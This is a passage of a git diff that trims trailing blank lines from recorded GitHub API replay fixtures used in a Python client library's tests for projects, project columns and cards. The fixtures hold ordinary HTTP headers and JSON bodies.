'204 No Content'), ('x-ratelimit-remaining', '4981'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F8C2:AADAA:17FC875:24A1090:59635F0C'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.072659'), ('x-xss-protection', '1; mode=block'), ('x-served-by', '7f48e2f7761567e923121f17538d7a6d'), ('date', 'Thu, 05 Mar 2020 02:43:38 GMT'), ('access-control-allow-origin', '*'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1499685825')] {} - diff --git a/tests/ReplayData/Project.testProjectCardMove.txt b/tests/ReplayData/Project.testProjectCardMove.txt index bddeac8ed4..ef85073863 100644 --- a/tests/ReplayData/Project.testProjectCardMove.txt +++ b/tests/ReplayData/Project.testProjectCardMove.txt @@ -52,4 +52,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4982'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e87658ab0c9b90814f0be2b54ab2cc8e"'), ('date', 'Fri, 17 Jan 2020 02:03:24 GMT'), ('content-type', 'application/json; charset=utf-8')] {} - diff --git a/tests/ReplayData/Project.testProjectColumnAttributes.txt b/tests/ReplayData/Project.testProjectColumnAttributes.txt index 063d2f30fd..225c65e12b 100644 --- a/tests/ReplayData/Project.testProjectColumnAttributes.txt +++ b/tests/ReplayData/Project.testProjectColumnAttributes.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 Aug 2018 04:27:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1534137668'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3163aa25d9bf114a91b6ac971fec44f1"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.053606'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE4F:5F76:13E71:35FB1:5B7108B1')] [{"url":"https://api.github.com/projects/columns/3138830","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138830/cards","id":3138830,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMw","name":"To Do","created_at":"2018-08-01T04:07:35Z","updated_at":"2018-08-01T04:07:35Z"},{"url":"https://api.github.com/projects/columns/3138831","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138831/cards","id":3138831,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMx","name":"In Progress","created_at":"2018-08-01T04:07:43Z","updated_at":"2018-08-01T04:54:16Z"},{"url":"https://api.github.com/projects/columns/3138832","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138832/cards","id":3138832,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMy","name":"Done","created_at":"2018-08-01T04:07:47Z","updated_at":"2018-08-03T00:31:17Z"}] - diff --git a/tests/ReplayData/Project1434.testDelete.txt b/tests/ReplayData/Project1434.testDelete.txt index 05be508d77..46bdc82769 100644 --- a/tests/ReplayData/Project1434.testDelete.txt +++ b/tests/ReplayData/Project1434.testDelete.txt @@ -18,5 +18,3 @@ None None 204 [('Date', 'Thu, 12 Mar 2020 16:11:41 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1584031337'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '932D:7C7D:1E54D8:2828A7:5E6A5F3D')] - - diff --git a/tests/ReplayData/Project1434.testEditWithAllParameters.txt b/tests/ReplayData/Project1434.testEditWithAllParameters.txt index c2c8c58a1c..82d47150bf 100644 --- a/tests/ReplayData/Project1434.testEditWithAllParameters.txt +++ b/tests/ReplayData/Project1434.testEditWithAllParameters.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Thu, 12 Mar 2020 16:11:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4960'), ('X-RateLimit-Reset', '1584031337'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"15b50e458129df7d6a9dffb0d6051e4f"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E8F1:6037:2408A:334D9:5E6A5F4C')] {"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4101939","html_url":"https://github.com/users/ahhda/projects/6","columns_url":"https://api.github.com/projects/4101939/columns","id":4101939,"node_id":"MDc6UHJvamVjdDQxMDE5Mzk=","name":"New Name","body":"New Body","number":6,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-12T15:45:23Z","updated_at":"2020-03-12T16:06:40Z"} - diff --git a/tests/ReplayData/Project1434.testEditWithoutParameters.txt b/tests/ReplayData/Project1434.testEditWithoutParameters.txt index 91d8a44e11..af88275019 100644 --- a/tests/ReplayData/Project1434.testEditWithoutParameters.txt +++ b/tests/ReplayData/Project1434.testEditWithoutParameters.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Thu, 12 Mar 2020 16:11:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4962'), ('X-RateLimit-Reset', '1584031338'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"15b50e458129df7d6a9dffb0d6051e4f"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '81E6:7E8A:20A86C:2A8E58:5E6A5F47')] {"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4101939","html_url":"https://github.com/users/ahhda/projects/6","columns_url":"https://api.github.com/projects/4101939/columns","id":4101939,"node_id":"MDc6UHJvamVjdDQxMDE5Mzk=","name":"New Name","body":"New Body","number":6,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-12T15:45:23Z","updated_at":"2020-03-12T16:06:40Z"} - diff --git a/tests/ReplayData/ProjectColumn.testCreateCard.txt b/tests/ReplayData/ProjectColumn.testCreateCard.txt index 949ea2d7ff..caef06054c 100644 --- a/tests/ReplayData/ProjectColumn.testCreateCard.txt +++ b/tests/ReplayData/ProjectColumn.testCreateCard.txt @@ -8,4 +8,3 @@ None 201 [('Date', 'Tue, 14 Apr 2020 18:17:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1380'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1586891695'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"2bca70b58ac201ff69ebf718be34bbe2"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('Location', 'https://api.github.com/projects/columns/cards/36290228'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E8F0:6E59:1E24A47:2387851:5E95FE55')] {"url":"https://api.github.com/projects/columns/cards/36290228","project_url":"https://api.github.com/projects/4294766","id":36290228,"node_id":"MDExOlByb2plY3RDYXJkMzYyOTAyMjg=","note":"NewCard","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T18:17:57Z","updated_at":"2020-04-14T18:17:57Z","column_url":"https://api.github.com/projects/columns/8700460"} - diff --git a/tests/ReplayData/ProjectColumn.testDelete.txt b/tests/ReplayData/ProjectColumn.testDelete.txt index 47e745c940..ef15689052 100644 --- a/tests/ReplayData/ProjectColumn.testDelete.txt +++ b/tests/ReplayData/ProjectColumn.testDelete.txt @@ -18,5 +18,3 @@ None None 204 [('Date', 'Thu, 16 Apr 2020 05:35:03 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1587018428'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'D4DE:18633:3644A6:3E3C58:5E97EE87')] - - diff --git a/tests/ReplayData/ProjectColumn.testEdit.txt b/tests/ReplayData/ProjectColumn.testEdit.txt index f63585edc6..b11b51ec22 100644 --- a/tests/ReplayData/ProjectColumn.testEdit.txt +++ b/tests/ReplayData/ProjectColumn.testEdit.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Thu, 16 Apr 2020 05:44:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4958'), ('X-RateLimit-Reset', '1587018429'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"300ff83801042bc987edec9dded63773"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8556:29EB3:181AABA:1C1A3C6:5E97F0B4')] {"url":"https://api.github.com/projects/columns/8748065","project_url":"https://api.github.com/projects/4294766","cards_url":"https://api.github.com/projects/columns/8748065/cards","id":8748065,"node_id":"MDEzOlByb2plY3RDb2x1bW44NzQ4MDY1","name":"newTestColumn","created_at":"2020-04-16T05:42:37Z","updated_at":"2020-04-16T05:44:21Z"} - diff --git a/tests/ReplayData/ProjectColumn.testGetAllCards.txt b/tests/ReplayData/ProjectColumn.testGetAllCards.txt index a3f4145fb8..128d697def 100644 --- a/tests/ReplayData/ProjectColumn.testGetAllCards.txt +++ b/tests/ReplayData/ProjectColumn.testGetAllCards.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Tue, 14 Apr 2020 18:14:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4939'), ('X-RateLimit-Reset', '1586888092'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"bcff97ef456baf6e3faceebd24c0b6f0"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E7C4:19719:159936D:1965777:5E95FD82')] [{"url":"https://api.github.com/projects/columns/cards/36285184","project_url":"https://api.github.com/projects/4294766","id":36285184,"node_id":"MDExOlByb2plY3RDYXJkMzYyODUxODQ=","note":"Note3","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:57:26Z","updated_at":"2020-04-14T16:57:26Z","column_url":"https://api.github.com/projects/columns/8700460"},{"url":"https://api.github.com/projects/columns/cards/36281526","project_url":"https://api.github.com/projects/4294766","id":36281526,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MjY=","note":"Note2","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:37Z","updated_at":"2020-04-14T16:00:37Z","column_url":"https://api.github.com/projects/columns/8700460"},{"url":"https://api.github.com/projects/columns/cards/36281516","project_url":"https://api.github.com/projects/4294766","id":36281516,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MTY=","note":"Note1","archived":true,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:32Z","updated_at":"2020-04-14T16:57:32Z","column_url":"https://api.github.com/projects/columns/8700460"}] - diff --git a/tests/ReplayData/ProjectColumn.testGetArchivedCards.txt b/tests/ReplayData/ProjectColumn.testGetArchivedCards.txt index e613e9a44a..16d2e98cb3 100644 --- a/tests/ReplayData/ProjectColumn.testGetArchivedCards.txt +++ b/tests/ReplayData/ProjectColumn.testGetArchivedCards.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Tue, 14 Apr 2020 18:14:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1586891696'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cc21f8c4409a7da6edaceac3de3cd1db"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E7CE:19719:159B57E:1967FB3:5E95FDA1')] [{"url":"https://api.github.com/projects/columns/cards/36281516","project_url":"https://api.github.com/projects/4294766","id":36281516,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MTY=","note":"Note1","archived":true,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:32Z","updated_at":"2020-04-14T16:57:32Z","column_url":"https://api.github.com/projects/columns/8700460"}] - diff --git a/tests/ReplayData/ProjectColumn.testGetCards.txt b/tests/ReplayData/ProjectColumn.testGetCards.txt index a357b41c91..619f3b9e73 100644 --- a/tests/ReplayData/ProjectColumn.testGetCards.txt +++ b/tests/ReplayData/ProjectColumn.testGetCards.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Tue, 14 Apr 2020 18:17:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1586891695'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a4b6a7e2eacfdbb711423183c140c383"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E8EA:3F6D7:2582A1B:2C3B9FA:5E95FE32')] 